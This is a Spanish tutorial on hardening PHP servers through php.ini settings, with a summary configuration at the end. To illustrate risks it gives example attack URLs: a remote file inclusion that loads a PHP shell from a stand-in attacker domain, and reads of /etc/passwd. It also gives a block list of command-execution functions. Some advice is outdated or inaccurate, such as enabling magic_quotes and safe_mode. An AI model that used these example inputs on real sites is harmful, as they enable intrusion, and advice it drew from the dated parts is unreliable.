PHP es un lenguaje de programación orientado a la creación de páginas webs dinámicas o aplicaciones web. Es uno de los lenguajes más extendidos en este ámbito y por ello debemos proteger y configurar nuestros servidores lo mejor posible para evitar un acceso no autorizado.

La configuración de PHP se encuentra en un archivo ini, llamado php.ini, generalmente esta en esta ubicación aunque puede variar dependiendo del sistema que usemos.

/etc/php5/apache2/php.ini


DESACTIVAR OPCIONES INNECESARIAS

  • register_globals: Esta opción registra los parámetros incluidos en los formularios HTML como variables de PHP. A veces, por motivos de compatibilidad, es necesario activar esta opción para hacer funcionar algún CMS o aplicación web antigua aunque debemos tener en cuenta que esta opción puede suponer un riesgo para la seguridad por eso sino la necesitamos es recomendable deshabilitarla y así evitamos inyección de variables. Se encuentra desactivada por defecto a partir de PHP 4.2.0 en adelante, ha sido declarada obsoleta desde PHP 5.3.0 y eliminada a partir de PHP 5.4.0.

    Por ejemplo:

    if (isset($login) == true) {
    	echo "Zona privada";
    }
    

    En este sencillo código PHP podemos observar que si la variable $login esta establecida en true accederemos a la zona privada, si activamos la opción “register_globals” podriamos acceder a la ‘zona privada’ estableciendo una variable por GET o POST, de la siguiente forma:

    http://www.myweb.com/?login=true

  • allow_url_fopen y allow_url_include: Estas características permiten incluir, abrir o usar un archivo remoto usando una URL en lugar de una ruta local. Por motivos de seguridad se recomienda deshabilitar estas opciones. Se encuentran activadas por defecto.

    Por ejemplo:

    include("http://www.webremota.com/includes/api.php");
    

    Si desactivamos esta opción (‘allow_url_include’) el código anterior no funcionaría pero en cambio evitaríamos la vulnerabilidad RFI (Remote File Inclusion), que consiste en incluir o ejecutar un archivo remoto como puede ser una Shell PHP en nuestro servidor incluyendo el archivo PHP desde un servidor remoto:

    http://www.myweb.com/?file=http://www.webdelatacante.com/shell.php

    Y si deshabilitamos la opción (‘allow_url_fopen’) evitamos que puedan ser leídos archivos críticos del sistema como ‘/etc/passwd’ (usuarios y contraseñas de un sistema Unix / Linux), ya que si nuestra web no filtra bien los archivos o rutas donde se accede se podrían leer archivos del servidor local de la siguiente forma:

    http://myweb.com/?archive=/etc/passwd

  • expose_php: Esta opción expone la versión de PHP instalada en el servidor en las cabeceras HTTP (X-Powered-By). Como medida de seguridad se recomienda deshabilitar esta funcionalidad para evitar que un atacante conozca nuestra versión de PHP y pueda ejecutar algún tipo de exploit.

    Por ejemplo:

    HTTP/1.1 200 OK
    Server: nginx/1.4.5
    X-Powered-By: PHP/5.3.7
    Date: Sat, 01 Mar 2014 15:40:16 GMT
    Connection: keep-alive

    Esta función también permite mostrar los logos de PHP o ZEND, además de los créditos usando diferentes GUIDs:

    Por ejemplo:

    • Logotipo de PHP: ?=PHPE9568F34-D428-11d2-A769-00AA001ACF42
    • Logotipo de Zend: ?=PHPE9568F35-D428-11d2-A769-00AA001ACF42
    • Imagen dependiendo la versión de PHP: ?=PHPE9568F36-D428-11d2-A769-00AA001ACF42
    • Créditos de los programadores: ?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000

    A partir de la versión 5.5.0 de PHP estos GUIDs y la función ‘php_logo_guid()’ han sido eliminados. Los GUIDs se sustituyeron por URIs de datos y los créditos se obtienen con la función ‘phpcredits()’

  • magic_quotes_gpc: Esta opción filtra las comillas simples (‘), comillas dobles (“), la barra de path (/) y los caracteres nulos de las las peticiones GET, POST y las COOKIEs. Ha sido declarada como obsoleta desde PHP 5.3.0 y eliminada a partir de PHP 5.4.0. Es recomendable activar esta opción siempre y cuando nuestra versión de PHP sea inferior a la versión 5.3.0 sino su uso esta totalmente desaconsejado.
  • magic_quotes_runtime: Opción similar a la anterior con la diferencia de que filtra la mayoría de las funciones que devuelvan datos de alguna fuente externa, incluyendo bases de datos ejecución de comandos del sistema… Ha sido declarada como obsoleta desde PHP 5.3.0 y eliminada a partir de PHP 5.4.0. Es recomendable activar esta opción siempre y cuando nuestra versión de PHP sea inferior a la versión 5.3.0 sino su uso esta totalmente desaconsejado.

DESACTIVAR FUNCIONES Y CLASES

Podemos deshabilitar ciertas funciones y clases de PHP mediante la opción ‘disable_functions’ y ‘disable_classes’. Para indicar varias clases o funciones es necesario separar cada una con una coma (,).

Funciones a deshabilitar

  • Funciones de Apache integradas en PHP:
    • apache_child_terminate()
    • apache_get_modules()
    • apache_get_version()
    • apache_getenv()
    • apache_note()
    • apache_setenv()
    • virtual()
  • Funciones de PHP:
    • syslog()
    • openlog()
    • proc_open()
    • leak()
    • tmpfile()
    • phpinfo()
    • show_source()
    • php_uname()
  • Funciones de PHP que serán deshabilitadas automáticamente al usar modo seguro (‘safe_mode’):
    • disk_free_space()
    • diskfreespace()
    • exec()
    • system()
    • popen()
    • proc_open()
    • proc_nice()
    • shell_exec()
    • passthru()
    • dl()

LIMITAR ACCESOS A ARCHIVOS Y CARPETAS

Para evitar vulnerabilidades de tipo Directory Transversal es aconsejable modificar la ruta o directorio base de PHP (Root PHP), de forma que se limite las operaciones con ficheros a la ruta especificada y sus subcarpetas nada más.

open_basedir = /var/www/ ;Ruta donde se alojan nuestras páginas webs o aplicaciones, puede variar dependiendo de un sistema u otro.

*Esta directiva no se verá afectada por el uso de modo seguro de PHP.


SUBIDA DE ARCHIVOS

PHP permite la subida de archivos al servidor (mediante la opción ‘file_uploads’), el archivo se almacena en una carpeta temporal (/tmp), aunque podemos cambiar esta ruta modificando la opción ‘upload_tmp_dir’ y si necesitamos limitar o aumentar el tamaño del archivo a subir es necesario modificar la opción ‘upload_max_filesize’ (por defecto limitado a 2 MB). También debemos aumentar ligeramente el valor de la opción ‘post_max_size’ por encima del valor de ‘upload_max_filesize’.

Si no necesitamos subir archivos a nuestro servidor podemos deshabilitar esta opción.


CONTROL DE SESIONES Y COOKIES

HTTP es un protocolo sin control de estados y las conexiones no permanecen activas, el navegador web envía una petición HTTP y el servidor responde y se cierra la conexión, de esta forma el servidor no tiene constancia si es el mismo usuario u otro el que realizo la petición. Por esto se crearon las sesiones PHP para asignar cierta información a cada usuario (identificador de sesión) y que el servidor pueda distinguir entre un usuario y otro al realizar las peticiones. Este identificador de sesión es enviado en cada petición HTTP.

Este método es vulnerable a ataques de robo de sesiones, de forma que si un atacante roba el identificador de sesión (sessionid) podría suplantar la identidad del usuario autenticado.

PHP por defecto guarda las sesiones temporalmente en la carpeta:

/tmp

Al igual que el robo del identificador de sesión (sessionid) también se podría producir la suplantación de identidad (de un usuario activo) si se guardan en un lugar no seguro los archivos de sesión del servidor, por este motivo se suelen guardar en un directorio separado del acceso público de la web o aplicación.

Podemos cambiar donde se guardarán las sesiones en el servidor modificando la siguiente opción:

session.save_path = /new/path/to/save/sessions

Para evitar intentos se secuestro del identificador de sesión podemos indicar a PHP que analice el Referer, asi:

session.referer_check = securitynull.net


MÓDULOS DINÁMICOS

PHP permite cargar módulos dinámicos (.dll, .so) en tiempo de ejecución para ofrecer más funcionalidades, a diferencia de Apache que no lo permite. Los módulos se cargan con la función de PHP dl().

Si nuestra aplicación o página web no necesita esta funcionalidad es altamente recomendable deshabilitarla de la siguiente forma:

enable_dl = Off

Al desactivar esta opción PHP sólo cargará los módulos indicados en el archivo de configuración php.ini y no permitirá la carga de módulos dinámicos.


MEMORIA

PHP permite indicar la cantidad de memoria permitida para la ejecución de un script para evitar que un script mal programado pueda consumir toda la memoria y bloquear el sistema. La cantidad de memoria por defecto son 8 MB, aunque podemos cambiar este valor de esta forma:

memory_limit = 256M

*Si el servidor cuenta con bastante memoria RAM con unos 256 MB sería suficiente.

Otras dos opciones interesantes a tener en cuenta son:

  • max_input_time: Indica el tiempo máximo (en segundos) que puede estar PHP procesando la entrada de datos, el valor por defecto es 60 segundos y el máximo permitido serian 300 segundos, aunque podemos quitar este limite indicando -1 (infinito). Se recomienda dejar esta opción con su valor por defecto (60 segundos).
  • max_execution_time: Especifica el límite de tiempo (en segundos) que puede estar un sctipt PHP ejecutándose, si un script sobrepasa este tiempo PHP detendrá su ejecución. Por defecto está establecido en 30 segundos. Es recomendable dejar esta opción con su valor por defecto para evitar que un script pueda afectar al rendimiento del servidor.

REGISTRO Y ERRORES

Normalmente cuando se ejecuta un script y produce un error, este nos muestra la descripción del error, la ruta del script, el número de la línea que fallo… Es aconsejable guardar un registro de estos errores en un archivo (LOG) y no mostrarlos al usuario por motivos de seguridad. Por defecto PHP muestra los errores ‘E_ALL & ~E_NOTICE‘, esto significa que muestra todos los errores excepto los avisos de variables no inicializadas u otros errores sin mucha importancia del código PHP.

De esta forma indicamos que se muestren todos los errores y avisos:

error_reporting = E_ALL

Para evitar que estos errores se muestren al usuario debemos desactivar las siguientes opciones:

display_errors = Off
display_startup_errors = Off

*La primera opción esta establecida por defecto y la segunda se recomienda solo activarla para depuración.

Y si queremos que los errores sean almacenados en un archivo de registro activamos esta opción que se encuentra desactivada por defecto:

log_errors = On

También podemos establecer el tamaño máximo del log en bytes que por defecto es 1024:

log_errors_max_len = 2048

*Si no queremos aplicar ninguna longitud máxima debemos establecer un 0 como opción.

Para no llenar el registro de errores repetidos es aconsejable activar esta opción que esta desactivada por defecto:

ignore_repeated_errors = On

Se puede cambiar la ruta donde se guarda el registro de errores, sino se indica nada por defecto los errores se guardarán en el registro de error de Apache:

error_log /path/to/log

*PHP permite enviar los errores a un servidor Syslog (registro de sucesos) indicando ‘syslog’ como ruta de ‘error_log’.
*Si usamos un archivo LOG personalizado para los errores de PHP recordad asignarle los permisos necesarios a este archivo para restringir su acceso.


MODO SEGURO

El modo seguro (‘safe_mode’) de PHP es una medida de seguridad que limita el uso de ciertas funciones de PHP, como por ejemplo:

  • disk_total_space
  • diskfreespace
  • exec
  • system
  • popen
  • proc_open
  • proc_nice
  • shell_exec
  • passthru
  • dl
  • set_time_limit

Estas restricciones se suelen usar mucho en proveedores de alojamiento gratuito o hosting compartido y se usan por seguridad para evitar la ejecución de comandos del sistema operativo y/o evitar la manipulación de otra web o aplicación. También se compara el UID de ficheros cuando se intentan abrir.

Ciertas aplicaciones web necesitan ejecutar este tipo de funciones y no funcionarán adecuadamente en modo seguro, pero se recomienda habilitar el modo seguro cuando sea posible.


RESUMIENDO…

Desactivar directivas innecesarias

register_globals = Off ;Si no usamos aplicaciones antiguas
allow_url_fopen = Off
allow_url_include = Off
expose_php = Off
magic_quotes_gpc = On
magic_quotes_runtime = On

Deshabilitar funciones y clases

disable_functions = apache_child_terminate, apache_get_modules, apache_get_version, apache_getenv, apache_note, apache_setenv, virtual, syslog, openlog, proc_open, leak, tmpfile, phpinfo, show_source, php_uname, disk_free_space, diskfreespace, exec, system, proc_open, proc_nice, shell_exec, passthru, dl

Limitar accesos a ficheros

open_basedir = /var/www/ ;Puede variar de un sistema a otro

Subida de archivos

file_uploads = Off ;Si no necesitamos subida de archivos
upload_tmp_dir = /tmp
upload_max_filesize = 1G ;Modificar según las necesidades
post_max_size = 1G ;Valor igual o por encima de ‘upload_max_filesize’

Sesiones

session.save_path = /new/path/to/save/sessions ;Ruta donde guardar las sesiones, diferente al directorio base de PHP (open_basedir)
session.referer_check = miweb.com ;Dominio de nuestra web

Módulos dinámicos

enable_dl = Off

Memoria RAM y ejecución

memory_limit = 256M ;Modificar dependiendo de la memoria RAM instalada
max_input_time = 60
max_execution_time = 30

Registro y Errores

error_reporting = E_ALL
display_errors = Off
display_startup_errors = Off
log_errors = On
log_errors_max_len = 0
ignore_repeated_errors = On

Modo seguro

safe_mode = On ;Cuando sea posible


FUENTES

www.php.net
www.hacktimes.com
www.securitybydefault.com